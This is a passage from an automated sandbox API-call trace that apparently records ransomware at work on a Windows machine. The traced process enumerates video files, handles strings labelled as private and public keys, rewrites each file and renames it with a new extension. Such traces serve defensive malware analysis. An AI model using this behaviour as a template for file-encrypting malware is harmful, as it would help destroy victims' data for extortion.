ftCreationTime.dwHighDateTime=0x1d5df29, ftLastAccessTime.dwLowDateTime=0x6aa9f260, ftLastAccessTime.dwHighDateTime=0x1d5e130, ftLastWriteTime.dwLowDateTime=0x6aa9f260, ftLastWriteTime.dwHighDateTime=0x1d5e130, nFileSizeHigh=0x0, nFileSizeLow=0x3c51, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="bmTJ9.mp4", cAlternateFileName="")) returned 1 [0086.848] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.848] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.848] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\bmTJ9.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\bmtj9.mp4"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaebc1f0, ftCreationTime.dwHighDateTime=0x1d5df29, ftLastAccessTime.dwLowDateTime=0x6aa9f260, ftLastAccessTime.dwHighDateTime=0x1d5e130, ftLastWriteTime.dwLowDateTime=0x6aa9f260, ftLastWriteTime.dwHighDateTime=0x1d5e130, nFileSizeHigh=0x0, nFileSizeLow=0x3c51)) returned 1 [0086.848] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\bmTJ9.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\bmtj9.mp4")) returned 0x20 [0086.848] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\bmTJ9.mp4", dwFileAttributes=0x80) returned 1 [0086.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.863] GetCurrentThreadId () returned 0xa30 [0086.863] GetCurrentThreadId () returned 0xa30 [0086.863] GetCurrentThreadId () returned 0xa30 [0086.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.864] GetCurrentThreadId () returned 0xa30 [0086.864] GetCurrentThreadId () returned 0xa30 [0086.864] GetCurrentThreadId () returned 0xa30 [0086.864] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\bmTJ9.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\bmtj9.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.865] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0086.865] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.865] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x3c51 [0086.865] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.865] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x3c51, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x3c51, lpOverlapped=0x0) returned 1 [0086.867] CloseHandle (hObject=0x11c) returned 1 [0086.868] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\bmTJ9.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\bmtj9.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.870] WriteFile (in: hFile=0x11c, lpBuffer=0x1f03f70*, nNumberOfBytesToWrite=0x3c51, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f03f70*, lpNumberOfBytesWritten=0x18f6ac*=0x3c51, lpOverlapped=0x0) returned 1 [0086.872] CloseHandle (hObject=0x11c) returned 1 [0086.876] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\bmTJ9.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\bmtj9.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\bmTJ9.mp4.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\bmtj9.mp4.zv7un")) returned 1 [0086.877] GetCurrentThreadId () returned 0xa30 [0086.877] GetCurrentThreadId () returned 0xa30 [0086.877] GetCurrentThreadId () returned 0xa30 [0086.877] GetCurrentThreadId () returned 0xa30 [0086.877] GetCurrentThreadId () returned 0xa30 [0086.877] GetCurrentThreadId () returned 0xa30 [0086.877] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc556b150, ftCreationTime.dwHighDateTime=0x1d5dea9, ftLastAccessTime.dwLowDateTime=0x5ee84630, ftLastAccessTime.dwHighDateTime=0x1d5e468, ftLastWriteTime.dwLowDateTime=0x5ee84630, ftLastWriteTime.dwHighDateTime=0x1d5e468, nFileSizeHigh=0x0, nFileSizeLow=0x12c7d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="xe-Wv9.mkv", cAlternateFileName="")) returned 1 [0086.877] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.877] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.877] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\xe-Wv9.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\xe-wv9.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc556b150, ftCreationTime.dwHighDateTime=0x1d5dea9, ftLastAccessTime.dwLowDateTime=0x5ee84630, ftLastAccessTime.dwHighDateTime=0x1d5e468, ftLastWriteTime.dwLowDateTime=0x5ee84630, ftLastWriteTime.dwHighDateTime=0x1d5e468, nFileSizeHigh=0x0, nFileSizeLow=0x12c7d)) returned 1 [0086.878] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\xe-Wv9.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aqq3p\\xe-wv9.mkv")) returned 0x20 [0086.878] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AQq3p\\xe-Wv9.mkv", dwFileAttributes=0x80) returned 1 [0086.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBA